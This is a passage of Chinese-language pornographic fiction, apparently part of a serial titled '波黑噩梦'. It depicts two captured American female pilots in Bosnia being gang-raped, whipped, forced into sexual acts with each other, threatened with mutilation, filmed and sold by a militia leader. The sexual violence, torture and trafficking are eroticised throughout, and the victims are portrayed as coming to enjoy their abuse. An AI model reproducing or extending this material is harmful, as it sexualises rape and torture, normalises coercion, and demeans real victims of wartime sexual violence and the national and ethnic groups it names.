  阿坎这些羞辱的言语和鞭子一起拷打着薇尔科丽,她犹豫着不知该怎幺做。薇尔科丽也不敢拒绝,她知道阿坎有办法令自己屈服,而且她也开始觉得自己的确和芭芭拉一样,像一个婊子!

  阿坎抓住薇尔科丽脖子上的绳索,将她的头拉回来,在她耳边说:“照我的话去做,你这个贱货!快去!!”

  阿坎鬆开手里的绳索,薇尔科丽的脸立刻跌到了芭芭拉的阴户上,她开始用她的牙齿咬自己同事的阴户!对阿坎的恐惧使薇尔科丽根本没有思考自己在做什幺,随着皮带重重地抽打在后背上和阿坎的肉棒在自己屁股里有力的抽插,薇尔科丽开始用牙齿咬起芭芭拉肿胀的肉唇来!芭芭拉阴道里不停流出的淫水沾满了薇尔科丽的脸上,几乎使她窒息。但薇尔科丽已经顾不得这些,祇是一边忍受着阿坎的姦淫,一边用牙齿撕咬着芭芭拉形状优雅的阴户。

  芭芭拉从高潮的昏迷中惊醒过来,阴部的剧烈的疼痛伴随着一种从来没有过的快感使她无法忍受!本能地,芭芭拉开始用力地吮吸着自己头顶的薇尔科丽的肉穴,更用力地舔着她的阴蒂。

  阿坎更加用力地在薇尔科丽的屁眼里戳插着,女飞行员火热的肉洞使他感到无比舒服,那种被丰满而健壮的屁股紧紧包裹着的舒适几乎使阿坎坚持不住了。

  “再用力些!你这个讨厌的娼妓!!再使劲些咬她!使劲,要让这个母狗尖叫起来!否则我会让亚历山大把你的乳头割下来,喂给你吃!!”

  阿坎一边用他粗大的肉棒折磨着薇尔科丽,一边大叫着恐吓着她。

  薇尔科丽更加使劲地咬着芭芭拉,终于将芭芭拉细嫩的阴部咬破,流出了鲜血!鲜血混合着淫水和残留的精液,流进薇尔科丽的嘴里,她感到一种苦涩的滋味,觉得自己现在和芭芭拉的样子就像一只狗在与一只老鼠搏斗一样。

  芭芭拉毫无思想準备,祇觉得一种剧痛。她尖叫着,下意识地也用牙齿在薇尔科丽的小穴上咬了起来!

  在一旁挥舞着皮带拷打着薇尔科丽的亚历山大被自己眼前这种奇异的场面惊呆了!在战争中他曾经让两个俘虏互相殴打,直到其中一个被打昏过去。但他从来没有见过两个女人纠缠在一起,互相撕咬着对方的外阴!他看着自己的首领姦淫着强壮的女飞行员,已经忘记了继续抽打薇尔科丽已经布满了残酷的鞭痕的后背。

  阿坎汗流浃背地抓紧薇尔科丽肥大的屁股奋力姦淫着女飞行员,而两个被俘的女人则喘着粗气纠缠在一起,尖叫着互相撕咬着,嘴角沾着对方流出的鲜血。所有人看起来都发疯了!

  肉体的痛苦和精神上的巨大压力使薇尔科丽发疯了,自从被俘以来所受到的所有侮辱和一直压抑的忿怒此刻突然爆发出来。她嘴里沾着芭芭拉略微带点鹹味鲜血,加上来自下身的疼痛,使她有一种说不出的感觉。

  但薇尔科丽终于还是控制住了自己的疯狂,她开始小声哭泣着,趴在芭芭拉流血的小穴上温柔地吮吸起来,将舌头伸进里面舔着。

  痛苦和快感交织在一起,芭芭拉感到自己又到了高潮的边缘。忽然她发疯似的扭动起身体,拼命地吮吸着脸上方的薇尔科丽同样受伤了的阴户。随着芭芭拉发出一阵尖声的呻吟,一股浓浓的阴精沖掉了伤口的鲜血,喷射进了薇尔科丽的嘴里!

  薇尔科丽第一次品尝到另一个女人高潮的滋味,同时她感到自己的身体也正在不可遏制地发生着变化,下身的小穴在芭芭拉执着的温存下已经湿滑不堪。

  芭芭拉一边快乐地呻吟着,一边继续温柔地吮吸着薇尔科丽已经淫水泛滥的小穴。薇尔科丽不停流淌出的淫水流满了芭芭拉的脸上,芭芭拉能清晰地感觉到她的朋友已经到了忍受的极限。芭芭拉不停地用力吮吸逗弄着薇尔科丽鼓胀起来的阴蒂,用牙齿轻轻咬着,终于将她的朋友也送上了高潮!

  两个女人第一次忘记了她们正受到的屈辱,沉浸于彼此的爱抚之中。薇尔科丽的身体剧烈地颤抖着,浑身瘫软地趴在芭芭拉身上,肥大的屁股随着芭芭拉的吮吸左右摇摆着,尽管阿坎仍在野蛮地姦淫着她的屁眼,但这也不能妨碍薇尔科丽第一次在同性的爱抚下达到了高潮。

  阿坎虽然竭力坚持,但两个女人激烈的做爱令他再也受不了了。阿坎的身体一阵摇晃,终于也在薇尔科丽丰满的大屁股里射了出来。他慢慢地从薇尔科丽已经被插得有些红肿的肛门里抽了出来,看着浓稠的白色液体从小肉洞里缓缓流淌出来,流在了下面芭芭拉轻轻悲啼着的脸上。

  薇尔科丽已经不再那幺用力地吮吸芭芭拉的小穴了,她祇是温柔地在芭芭拉小穴周围舔着,吃掉那里不停流出的液体。

  芭芭拉也是一样,她温柔地爱抚着她的朋友充血鼓胀起来的小肉珠,用舌头收集着薇尔科丽小穴里大量涌出的液体,即使混合了阿坎的精液,她也一滴不剩地吃了进去。

  两个被绳索捆绑的女飞行员像真正的同性恋一样,互相爱抚着,温柔地抚慰着对方的身体。在一旁的阿坎欣赏着两个女人迷乱的表演,过了一会对亚历山大命令道:

  “够了!亚历山大,把那个高个的贱货带到她的房间,把她们分开!我看,她们已经休息得可以了。让这个小婊子今天再为五、六个军人服务后,就让她休息。明天让这个高个的先去清理那些婊子的贱穴,然后在用她去满足我的战士。那个小个的明天没有任务。给她们吃饱,她们需要力气来工作!”

  ===================================

  阿坎在二楼的房间里安静地坐着,一想起自己用各种方式残酷彻底地凌辱了两个美国女飞行员,他就不禁微笑起来。但阿坎知道,自己现在到了做出抉择的时候了。

  阿坎知道美国中央情报局很快就能知道两个女人在这里,他必须在此之前解决掉她们。他已经从两个女人身上获得了不少快乐:芭芭拉被穆族志愿者轮姦的那段录像已经破坏了美国和波黑穆族之间的关係,而关于薇尔科丽和米洛塞迪奇将军的电影也使他获得了想要的坦克。

  现在阿坎甚至在考虑,站在自己的立场上是否还能在杀掉两个美国女人之前再利用一下她们。他手里至少还有薇尔科丽在谷仓里被轮姦的录像,根据以往在黑市上的经验,阿坎能肯定自己还会因此赚上一笔。

  阿坎想到这儿,找出那盘录像带,放进了机器里。屏幕上出现了被扒光衣服吊在谷仓里的薇尔科丽的画面,随着她被身后的男人野蛮地从屁股的肉洞里姦淫着,女飞行员大声地尖叫哭喊。

  阿坎一边欣赏着录像,一边沉思着。当画面上的薇尔科丽遭到了第七个人的姦淫后,阿坎忽然微笑起来。

  他想到了一个主意!

  ===================================

  阿坎没有想到他的主意会影响到一周后在白宫的会议,参加会议的是美国总统和美国驻意大利大使。

  “我有些糊涂了。大使先生,您能在告诉我一次,您是如何得到这盘录像带的吗?”

  “好的,总统先生。正如您所知,我和意大利政府中的一些部长私人关係和好。有时我会参加他们在私下的小聚会,当然,他们的这些聚会祇是彼此交流一下关于我国政府的一些问题。……您知道,政府中的一些成员私下里经常会出现一些丑闻。我指的是意大利政府。在一个这种聚会上,我看到了这部电影,当时我立刻就认出,这个女人就是我们在波黑被击落的两个女飞行员中的一个--薇尔科丽中尉。当时我立刻就对那位部长说,我相信他与此事无关,但我想自己复制一盘这个电影的录像带。他很信任我,并为我联系了那给他带子的人。简单地说,我从一个我确信他是黑手党成员的家伙手里得到了这录像带。”

  “黑手党?他们怎幺会捲进这件事里?”

  “是的,我从暗地里打听得到:这些黑手党与一伙波黑塞族民兵之间联系密切,他们的头领叫阿坎。黑手党和他们之间进行枪支和药品的交易,也为他们走私那些他们在战争中掠夺的东西,甚至还从他们手里交易那些被他们在战争中俘获的女人。所以我来告诉您。我相信中央情报局一定有他们的情报。”

  “啊,很好。大使先生,你为国家做出了重大的贡献!不要把这件事告诉其他人,我们不想引起不必要的麻烦。把这带子留下吧,我想研究一下。我不会忘记你所做的一切,祇要你愿意,这个大使的位子就一直是你的,不必担心国会那里!”

  “谢谢您,总统先生。您知道,我是可以信赖的人。”

  ===================================

  “谁能相信?我为中央情报局花了数百万美元,他们竟然不能弄来一点有价值的情报?!你通知五角大楼之前先去核实一下这个消息。”

  “是,我会立即着手开始,然后就通知五角大楼。如果一切顺利,24小时内驻扎在匈牙利的三角洲突击队就将开始救援行动!”

  “愿你走运。但我不打算立刻通知五角大楼开始行动。你去告诉他们那个什幺阿坎的事,但不要说得很肯定。然后让他们去找中央情报局要资料,再等待我的指示。”

  “为什幺?总统先生。”

  “我想,等几天没有什幺区别,毕竟她们已经在哪里三个星期了。这样的机会可不是总能遇到,得好好利用一下!我已经得知:独立检查官将在三、四天后公布他的公诉书。这样一来我就有东西可以敲打敲打他的脑袋了,也可以令国会那些家伙闭嘴!政治有时和做爱是一样的,如何把握时间最重要!”

  ===================================

  阿坎开始觉得有些不敢相信眼前的事实,好运竟然这幺快就降临了。自从他把一盘关于薇尔科丽和芭芭拉的录像带卖给一个黑手党之后,这幺快就有一个匿名的买主愿意出两百万德国马克来买这两个美国女人!

  这个要求和价格对阿坎来说是难以抗拒的,尽管他知道,把那两个美国女人弄死丢到矿井深处会更安全。现在唯一令他有些忧虑的是,买主的情况他一无所知,但中间人是可靠的,他向阿坎保证会隐瞒他的情况。

  “毕竟,这个世界上如果你连黑手党都不相信,你还能相信谁呢?”阿坎这样安慰着自己。他暗暗决定:既然这两个美国的娼妓两天后就要离开这里,那就应该给她们开一个“欢送会”了!

  ===================================

  第二天下午,薇尔科丽被带进阿坎的办公室。

  一进去,薇尔科丽立刻感到了一种可怕的预感:芭芭拉和她自己一样赤裸着身体,被两臂张开地捆绑在一个架子上站立着,两边是微笑的魔鬼--阿坎和他残忍的保镖--亚历山大。

  薇尔科丽被推倒跪在芭芭拉前面,她抬起头看到她的同伴惊恐的眼神,感到浑身泛起一股寒意。

  即使已经经过了三个星期的反复轮姦和各种方式的凌辱,阿坎仍觉得这个高傲的金髮女飞行员没有彻底丢掉她的自尊,他还準备再完全彻底地羞辱一下薇尔科丽,使她的精神彻底崩溃。他能感到,薇尔科丽的眼神里还带有一些不屈的意味,这更加令阿坎下定了决心。阿坎已经意识到了薇尔科丽和芭芭拉之间的亲密关係,他决定利用这一点来令她彻底屈服。

  阿坎在薇尔科丽惊恐的眼神注视下,熟练地又用鱼线将芭芭拉裸露着的胸膛上的两个乳头捆了起来。他拉扯着手里的鱼线,拷打着年轻的女飞行员娇嫩的乳头,使她发出低低的惨叫。同时亚历山大拿着锋利的小刀,在芭芭拉被勒得肿起来的乳头周围比划着。

  在亚历山大的小刀围着芭芭拉的乳头比划时,阿坎似乎是很随意地和薇尔科丽说着话。他告诉了薇尔科丽,他今晚的计划和她要扮演的角色,提醒着女飞行员,如果她有什幺令他不满意,那幺芭芭拉可能就会为此付出代价。

  阿坎恐吓完了两个女人,趴在薇尔科丽的耳边,小声说道:“如果你敢违抗我,使我在我的人面前丢脸,那她的胸脯可要倒霉了,我会让亚历山大对付她!他将先切掉你朋友漂亮的乳头,接着割掉她的耳朵,可能还有鼻子,或者她身上其他的东西!等亚历山大做完了,你漂亮的朋友就会变成一个丑八怪!而这些都是因为你不听我的话!!”

  阿坎说完,亚历山大就开始用锋利的小刀威胁芭芭拉红肿起来的乳头。薇尔科丽看到,由于恐惧和紧张,芭芭拉已经开始抽泣起来。

  事实上,阿坎祇是在吓唬她们。阿坎已经将两个女飞行员卖给了别人,他就不能弄伤芭芭拉。但两个美国女人不知道她们已经被像东西一样地卖掉了,她们祇知道阿坎什幺都干得出来。

  薇尔科丽瞟了一眼浑身发抖、哭泣着的芭芭拉,被吓坏了的她赶紧不停地摇头:“不、不要伤害她!你说什幺,我就做什幺!”

  看到薇尔科丽已经完全被自己的花招吓住,彻底屈服了,阿坎于是指着一边已经準备好的一套衣服,命令薇尔科丽穿上。

  等薇尔科丽穿上了那套衣服,阿坎开始围着她转了起来,欣赏着女飞行员半裸着身子、淫贱的打扮。他让薇尔科丽走到一面大镜子前,让她好好看看自己现在这副下贱无耻的装束,然后命令薇尔科丽用劣质的廉价化妆品化上浓桩,直到阿坎对女飞行员的新打扮满意为止。

  整个过程中,阿坎甚至没踫薇尔科丽一个指头。但他已经十分满足于自己用言语和精神彻底地羞辱、姦污了这个美国女人。

  

  波黑噩梦(十)

  阿坎对着站在自己周围的十几个人微笑着,他们是他的“老虎”中最忠诚的军官,和他的摄影师,当然还有亚历山大--他的保镖。他马上就要在旅馆的台球厅里为他的美国“客人”举行一个欢送仪式,现在台球厅里的球桌除了一张摆在大厅中央,其他的都有已经搬走,大厅一角搭起一个小小的酒吧台。

  唯一的台球桌上方悬挂着塞尔维亚民族主义的旗帜,球桌上躺着赤身裸体的美国女飞行员芭芭拉。芭芭拉的双臂被牢牢地捆在背后,压在她赤裸的身体下。她横着躺在球桌上,双腿搭在球桌长边的外面,头搭在另一个长边上,乌黑的头髮顺着球桌边缘披散下来。芭芭拉的屁股搭在球桌边缘使得她的下体淫秽地暴露出来,她的双腿被绳索捆绑着向两边用力拉开,绳子的另一头捆在球桌的腿上。

  一个男人站在芭芭拉的头旁边,用手轻鬆地揪着她的黑髮。另一个男人站在芭芭拉被绳子拉开捆着的双腿之间,用手抚摸玩弄着女飞行员裸露着的下身。其他人则漫不经心地在房间里等着。

  随着一声整齐的“AH!”,门被打开,亚历山大好像放牧的牧人一样,牵着薇尔科丽走了进来。

  亚历山大用手里的尼龙线牵着薇尔科丽,尼龙线的另一头繫在女飞行员裸露着的两个暗红的大乳头上。尼龙线深深地勒进薇尔科丽两个乳头的根部,使两个乳头淫秽地肿大起来,因为充血成了一种残酷的暗红色。

  这次薇尔科丽的双手没有被捆绑,而是托着一个银灰色的托盘,上面放着一瓶昂贵的苏格兰威士忌和一个酒杯。薇尔科丽被命令去给阿坎倒酒,这是一个简单却令她倍感羞辱的命令。被俘的女飞行员别无选择地跟着亚历山大,在一群暴徒淫亵的目光注视中,走向阿坎。

  薇尔科丽必须紧紧跟随亚历山大的脚步,否则尼龙线会将她的乳头撕裂。在进门之前,亚历山大已经彻底地修理了这个女飞行员的身体来保証她的服从。被迫扮演这些强姦了自己的暴徒的仆人角色,薇尔科丽感到极大的耻辱和厌恶,她的脸上充满了痛苦的表情,低着头走在周围暴徒们贪婪淫秽的目光中。被捆绑在球桌上的芭芭拉此时也将眼睛盯在天花板上,她不愿看到她的同事和好朋友被敌人如此地羞辱折磨。

  由于薇尔科丽窘迫难堪的处境,芭芭拉的脸都已经开始羞红了。和薇尔科丽比起来,她赤身裸体的样子甚至可以称是高雅,因为薇尔科丽的打扮几乎和街头最下贱的妓女一样!

  事实上,阿坎正是按照贝尔格莱德街头妓女的样子来打扮薇尔科丽的。身材健美的女飞行员脚上穿着一双被称做“来操我”的黑色细高跟鞋,她被迫挤进鞋里的双脚走起路来十分疼痛。薇尔科丽结实修长的双腿上面穿着一双黑色网眼裤袜,没有穿裙子而且裤袜在分叉处被剪开很多,使她阴毛浓密的下体和大半个丰满的屁股完全暴露在外面。

  薇尔科丽上身穿着一件黑色的运动夹克,里面没有戴胸罩,窄小的夹克敞开着使女飞行员那异常丰满的大乳房完全裸露出来。薇尔科丽的脸上用劣质的化妆品化着浓桩,蓝色的大眼睛周围抹了厚厚一层油彩,嘴唇上也涂了厚厚一层亮红色的唇膏,甚至连她的颧骨上也涂上了这种廉价的口红。薇尔科丽看起来甚至还不如一个贝尔格莱德街头最低级的娼妓!

  按照阿坎的命令,薇尔科丽被亚历山大牵着像展览一样走在那些塞族暴徒中间。阿坎满意地看着他的部下们放肆地用手在美国女飞行员几乎全裸的身体上乱摸乱捏,揉搓着女飞行员赤裸的胸膛,捏着她丰满而富有弹性的屁股,甚至将手指伸进她的肉穴里扣挖着!

  薇尔科丽没有试图反抗,她只是含着眼泪一遍遍在心里默念着:“我必须服从!我不能惹恼他们!”她只是低着头,屈辱地跟随着亚历山大穿过那些暴徒贪婪的手之间,走向阿坎。

  芭芭拉悲哀地看着薇尔科丽遭受着可耻的羞辱,她能感到随着薇尔科丽被繫在她乳头上的尼龙线一点点地拉向阿坎,那些男人的慾火在慢慢升腾。

  薇尔科丽感到那些男人兽性的慾望在逐渐包围自己,同样,房间里充斥着的这些龌龊的家伙身上散发出的气味和浓烈的烟草味,使她觉得十分恶心。薇尔科丽只能全神贯注于手中的托盘,而默默地忍受着那些肮髒的手在自己半裸的身体上肆虐,她实在害怕自己摔掉了手里的东西。

  就这样,薇尔科丽在巨大的羞耻中穿过了无数男人的手,在亚历山大恶毒的牵引下走向阿坎,女飞行员痛苦的每一步都被摄影师--德米特里记录了下来。终于,金髮女人穿过人群走到了那面旗帜的下面,阿坎正左手提着一支皮鞭站在那里。

  薇尔科丽默默地站在阿坎面前,她的眼睛里充满了恐惧和屈服,顺从地为阿坎倒了一杯酒。接着,薇尔科丽按照阿坎的命令,跪在了他的脚下,她低着头,因为十分羞愧而不敢向四周看一眼。

  在周围的男人的欢呼中,阿坎得意地看着跪在自己脚下的女飞行员,像一个真正的征服者对待俘虏那样,用手抚摸着薇尔科丽一头漂亮的金髮。然后他对已经彻底屈服的骄傲的女飞行员命令道:“既然你已经是一个真正的婊子,就要像真正的婊子那样来为我服务!”

  已经害怕极了的薇尔科丽偷偷看了看芭芭拉。当她看到亚历山大手里拿着小刀站在芭芭拉身边时,女飞行员的身体开始不由自主地发抖起来,她强忍着巨大的屈辱,几乎立刻就向阿坎投降了。

  薇尔科丽轻轻挪动了一下跪在地上的身体,一只手扶住阿坎的腿,另一只手开始解他的裤子。然后她小心地将阿坎已经硬了起来的阴茎掏出来,用双手握着它的根部,轻抚起来。接着薇尔科丽张开嘴唇,将那粗大的肉棒的前端含进嘴里舔了起来,她柔软的舌头在阿坎敏感的龟头附近来回地吮吸旋转着。

  因为被仰面朝天地被捆在球桌上,所以芭芭拉的视线被阿坎的身体挡住了,她看不到正在发生的一切,但周围的家伙发出的呼喊和嘲笑使芭芭拉知道了发生的事情。薇尔科丽为了自己而像妓女一样地被阿坎糟蹋!这种念头使芭芭拉心里感到一阵疼痛。

  跪在地上的金髮女飞行员浑身发抖地吮吸着阿坎的肉棒,一种强烈的羞耻感几乎令她崩溃。薇尔科丽试着尽量令这个面前的男人满意,而不去考虑自己正在做着怎样丢脸下贱的事情,她的头脑里甚至压根没有了反抗的念头。在周围男人嘲讽鄙视的目光中,薇尔科丽竟慢慢开始感到自己和现在这身装束一样,越来越像一个真正的娼妓!

  现在薇尔科丽感到已经没有什幺样的羞辱接受不了了,她像一个奴隶一样顺从地吮吸着阿坎的肉棒,不知羞耻地努力讨好着阿坎。当那根又粗又硬的东西塞满她的嘴里时,薇尔科丽开始绝望地感到,自己正在逐渐堕落成阿坎希望的那种无耻下贱的娼妓。

  薇尔科丽在巨大的绝望中忍受着羞耻的煎熬,她的嘴吸吮着阿坎的肉棒发出一种难听的“啾啾”声,口水顺着她的嘴角滴滴答答地流下来,弄湿了女飞行员胸前两个巨大的乳房。周围逐渐安静下来,能听见羞愧难当的女飞行员一边吮吸着对手的阳具,一边小声呜咽着,薇尔科丽已经完全屈服了。

  对薇尔科丽来说,幸运的是阿坎没能在她熟练的服侍下坚持多久。正在示范如何奴役这个强壮骄傲的美国女飞行员的阿坎,和欢呼着的部下一样沉浸在令女对手屈服的满足中。这里的所有人都佔有过这个金髮女飞行员成熟美妙的身体,他们同样不曾在薇尔科丽的身上坚持很久。

  阿坎开始感到高潮迅速地到来,他开始主动地在薇尔科丽的嘴里猛烈地抽插起来。他揪着女飞行员的头髮,用他膨胀的肉棒侮辱拷打着她,接着对着薇尔科丽化了浓桩的嘴唇和眼睛猛烈地喷射出来!粘稠腥热的精液立刻糊满了薇尔科丽的脸。

  看着悲痛屈辱的薇尔科丽慢慢跪伏在自己脚下,阿坎得意地继续命令:“现在为我们跳舞吧,薇尔科丽!跳那个你们的MTV中的什幺、跳舞的娼妓!”

  薇尔科丽几乎惊呆了,一首摇滚乐很快在房间中响起,将她带回到残酷的现实中来。薇尔科丽麻木地站起来,看着四周那些家伙残暴贪婪的目光,和芭芭拉乳头旁那把闪亮的小刀,慢慢地跟着节奏扭动起来。薇尔科丽尽量回忆着以前在军队晚会上跳过的舞,当着这些强姦犯的面前妖冶地扭动起来。

  薇尔科丽糊满了阿坎精液的脸上一阵阵发烧,在周围无数淫秽鄙视的饿目光注视中扭动着自己几乎全裸的身体,眼泪默默地流淌下来。她能感到脸上沾着的精液在逐渐乾涸凝固,她觉得自己在这些家伙心里--也许还包括芭芭拉,深深地留下了一个不知羞耻的骚货的印记!她深深地厌恶这种感觉,却无力逃避。

  女飞行员继续在暴徒面前跳着舞。薇尔科丽丰满肥硕的大乳房沉重地坠在胸前,两个娇嫩的乳头被尼龙线栓在一起,悲惨地红肿起来,随着她有节奏地扭动着屁股和腰肢,两个雪白的大乳房也充满诱惑地摇晃不已。

  阿坎的摄影师使用的闪光灯作用下,薇尔科丽不停扭动着的身体上发出妖冶的亮光。受过严格军事训练的女飞行员的身体丰满而结实,几乎全裸的身体上开始逐渐流满了晶莹的汗珠。周围的男人用一种看待酒吧女郎似的目光看着几乎全裸的女飞行员跳着淫蕩的舞蹈,眼神中充满了饥饿和慾望,紧紧盯着薇尔科丽肌肉匀称的身体、涂了厚厚的口红的嘴唇和遭到拷打的丰满胸膛。

  阿坎的部下逐渐包围过来,将薇尔科丽挤向了捆着芭芭拉的球桌,使芭芭拉能清楚地看到她的偶像像廉价的脱衣舞女一样暴露着身体跳舞。

  阿坎的声音忽然在嘈杂的房间里响起:“转过身去,婊子!让我们看看你的大屁股!!”

  薇尔科丽看看周围那些贪婪的眼睛,痛苦地转过身,面对着被绑在球桌上的芭芭拉。她看到芭芭拉的眼睛里充满了痛苦和羞愧。薇尔科丽继续勉强坚持着跳舞,她丰满肥大的屁股完全赤裸着暴露在窄小的外套下。她可以想像,自己现在这种淫蕩的姿态,简直就是在邀请这些野兽一样的家伙来袭击自己。

  绝望的薇尔科丽试图用音乐来麻醉自己,几乎下意识地不停扭动摇摆着流满汗水、成熟健美的肉体,向所有人发出最自然、最原始的性的信号。周围那些可怕的目光使薇尔科丽畏惧,在那些人步步进逼之下,跳舞的薇尔科丽惊慌地靠向球桌的边缘,她实际上赤裸着的下身几乎贴在了被捆绑着的芭芭拉同样赤裸的下体上!薇尔科丽感到绝望,觉得自己正在落入阿坎的圈套之中。

  站在球桌另一边的阿坎觉得十分满意,他又看到这个自大的美国女人的眼里流出屈辱的眼泪,而被捆在球桌上的黑髮姑娘的眼睛里同样流出羞耻和同情的眼泪。他发现她们的眼泪十分、十分刺激!

  薇尔科丽不停地跳舞,音乐使她无法停止这种屈辱的表演。她健壮美好的肉体毫无遮掩地裸露着,她的羞辱同样暴露在所有人面前。薇尔科丽对自己身体的变化感到惊慌,她意识到自己丰满的大乳房沉重的摇晃和肥大的屁股的来回摇摆意味着什幺,汗水流满了她的胸膛、后背和大腿。

  当薇尔科丽越来越贴近芭芭拉时,阿坎的声音又再次响起:“给我们表演一下,你们美国海军的女人怎幺样互相做爱!”

  “我勇敢的海军飞行员,给我们表演一下你们美国女人如何不需要男人就能满足自己!去舔这个婊子,否则我会用鞭子剥了你的皮!然后将她的乳头切下来给你吃!!”

  正当薇尔科丽犹豫着,不愿将自己和芭芭拉之间亲密的举动当作娱乐展示在这些家伙面前,阿坎立刻用手里的鞭子令薇尔科丽认识到了他的权威。薇尔科丽恐怖地看到阿坎举起皮鞭用力挥下,芭芭拉赤裸着的雪白的胸膛上立刻出现一道醒目的红色血痕,同时黑髮姑娘发出痛苦的惨叫!

  当阿坎再次举起皮鞭时,薇尔科丽立刻几乎哭喊着叫了起来:“不!!请不要!!”

  与此同时,薇尔科丽立刻跪了下来,把脸埋进自己同伴散发着浓重的气味的大腿根上。薇尔科丽将脸趴在芭芭拉的肉穴上,几乎是急迫地吮吸起来,呼吸着芭芭拉阴部发出的气味,用舌头用力地舔着她的敏感的阴蒂。薇尔科丽用双手按住芭芭拉的双腿,用大拇指按着被捆绑的女人阴部的肉唇,使舌头能更顺利伸进她的肉穴里面,去舔着那里面温暖柔软的嫩肉。芭芭拉很快就开始扭动摇摆着臀部,做出了反应。

  阿坎和部下们欣赏着被他们征服的西方的贱货不知羞耻的表演,阿坎用手里的皮鞭抽打着跪在地上的薇尔科丽肥厚的臀部,鼓励着她更加卖力的表现。

  薇尔科丽完全沉浸于和芭芭拉的亲热中,她尽量地将舌头深入到芭芭拉火热的肉穴深处,竭力吮吸安抚着受苦的姑娘。她用双手按住芭芭拉的下身,用拇指挤压揉捏着黑髮姑娘勃起的阴蒂,她不停地用伸进芭芭拉肉穴里的舌头搅动着,吸吮着她流出的大量的淫水,直到被捆着的姑娘开始在肮髒的球桌上不停发出大声的呻吟,拼命摇摆扭动着屁股和身体。

  健壮的女飞行员使她的同伴陷入了波浪般的高潮中,两个女人的表演也使所有人陷入疯狂。当芭芭拉开始失去控制地尖叫、扭动,其他人忽然上来,将薇尔科丽从芭芭拉两腿之间拉开!

  阿坎的部下们以一种极快的速度将已经被吓坏了的女飞行员抬起来按到了球桌上。他们将薇尔科丽紧挨着芭芭拉趴在桌上,将她的双腿分开搭在球桌边上。她俩的脸如此靠近,芭芭拉甚至能闻到薇尔科丽脸上沾满了精液的难闻气味。

  一个男人走到了薇尔科丽被分开的双腿之间,他几乎没花什幺力气就顺利地将肉棒插进了放弃抵抗了女飞行员温暖的肉穴之中。薇尔科丽没有挣扎反抗,她放鬆身体任凭敌人的肉棒插进了自己的身体。

  薇尔科丽把脸扭向芭芭拉,两个女人的脸紧贴在一起,互相亲吻了起来。同时,另一个家伙已经站在芭芭拉两腿之间,野蛮地将肉棒插进了她的小穴。芭芭拉感到一阵疼痛,她忍不住呻吟起来。

  薇尔科丽一边忍受着被粗大的肉棒戳插的痛苦,一边温柔地用舌头亲吻着芭芭拉的脸,芭芭拉同样回应着,毫不介意薇尔科丽脸上各种分泌物混合的浓烈气味。两个女飞行员的身体被像自助餐一样,任阿坎的部下们随意享用。

  第一个人没有在薇尔科丽的肉体上坚持很久,但立刻有第二个人继续佔有了女飞行员已经被精液弄得湿滑的肉穴。芭芭拉经受的姦淫稍微长一些,但那个家伙还是很快在年轻女人的身体里射了出来,随即又有人补上了他的位置。

  薇尔科丽正忍受着被强暴的痛苦,忽然感到一支肉棒在撞击着自己的脸。她抬起头看到恶魔一样的阿坎正站在自己头顶。阿坎揪着女飞行员的金髮,强迫她张开嘴吞进了自己再次膨胀起来的肉棒。

  薇尔科丽一只手还放在芭芭拉的胸前,用另一只手扶住阿坎的腿,开始驯服地吮吸着他那根肉棒鼓胀的顶端。与此同时,芭芭拉在阿坎的示意下,把脸扭过来,在他那粗大的阴茎根部仔细地舔着。阿坎满意地看着两个女飞行员如此驯服地侍奉着自己的阳具。

  薇尔科丽翘着肥大的屁股,趴在球桌上,竭力地用嘴巴吸吮着阿坎阴茎的顶端,她感到那火热的肉棒逐渐在自己嘴里膨胀起来,使她开始呼吸困难。同时在薇尔科丽背后站着的那家伙,也按着女飞行员的屁股,奋力地在她的肉穴里抽插着,沉重的撞击使薇尔科丽的身体在前后夹击之下格外痛苦。

  芭芭拉目瞪口呆地看着薇尔科丽被阿坎从嘴里强暴,那粗大的东西野蛮地进出在薇尔科丽流着口水的嘴里,磨擦着她涂了厚厚的廉价口红、已经有些淤肿的嘴唇。薇尔科丽被阿坎的肉棒堵着的嘴拼命张开着,嘴里发出模糊的呜咽,竭力试图呼吸到充分的空气,而她的脸也被憋得涨红起来。

  薇尔科丽现在已经彻底放弃了所有的抵抗和希望,成熟健康的肉体完全放鬆地任凭敌人享用。她悲哀地呜咽着,扭动着丰满的屁股配合着背后的强姦者,忍受着前后两支大肉棒的抽插,只求能在阿坎他们残忍的轮姦虐待下活下来。

  芭芭拉悲伤地看着自己的同伴完全抛弃了尊严和骄傲,被俘虏的女飞行员已经真正地沦落成了屈服于暴力之下的可悲的娼妓!同时她也感到自己被汗水湿透的肉体几乎要被对手的肉棒撕裂了,不断有人在她的身体里射出来,又有新来的暴徒接替上来继续施暴。

  正当芭芭拉觉得自己快要被对手轮番蹂躏得几乎受不了的时候,阿坎将他的大肉棒从薇尔科丽的嘴里抽出,接着插进了她半张着的嘴里!芭芭拉立刻觉得自己的嘴巴被粗暴地堵满了,一种好像着火的感觉刺痛了她的喉咙。阿坎用自己的肉棒用力地在芭芭拉的小嘴里抽插着,使可怜的姑娘好像要窒息了一样,眼睛里逐渐失去了光彩。

  阿坎在芭芭拉嘴里姦淫了一会,又抽出来插进了薇尔科丽的嘴里,他十分得意地轮流享用着两个女飞行员的嘴巴,感觉到快感在急速地升腾。过了没多久,阿坎一阵急速地抽插之后,对着两个女飞行员的脸喷射出来,浓稠的精液立刻糊满了芭芭拉和薇尔科丽的脸,流进了她俩的头髮里面。

  阿坎离开了两个女人被精液弄地一塌糊涂的脸,立刻有两个部下代替了他的位置,将他们的肉棒插进薇尔科丽和芭芭拉被姦淫得淤肿起来的嘴里。此时在薇尔科丽背后蹂躏姦污她的对手已经将目标转向了她的屁眼,因为这个美国女人的肉穴实在已经被搞得不成样子,不禁里面被灌满了粘稠的精液,而且这个小肉穴已经被插得鬆弛得无法合拢了。女飞行员的肛门毫无抵抗地接纳了粗大的肉棒,她现在已经无心再做任何无用的抵抗了,只是麻木地任凭敌人同时姦淫着她的屁眼和嘴巴。

  芭芭拉此时感觉自己的身体里面已经被对手的精液灌满了,她的肉穴鬆弛地张开着,大量的精液不断流淌出来,顺着她的大腿根和球桌边缘一直流到了地面上。而芭芭拉的身体几乎是躺在了精液和汗水的沼泽中,烂泥一样的混合物将她的屁股和后背下面的球桌弄得一塌糊涂,恶心的黏液糊满了她的嘴巴、脸颊、阴部,甚至流进了她的头髮里,使她的头髮被弄得黏乎乎地贴在她的脸上。

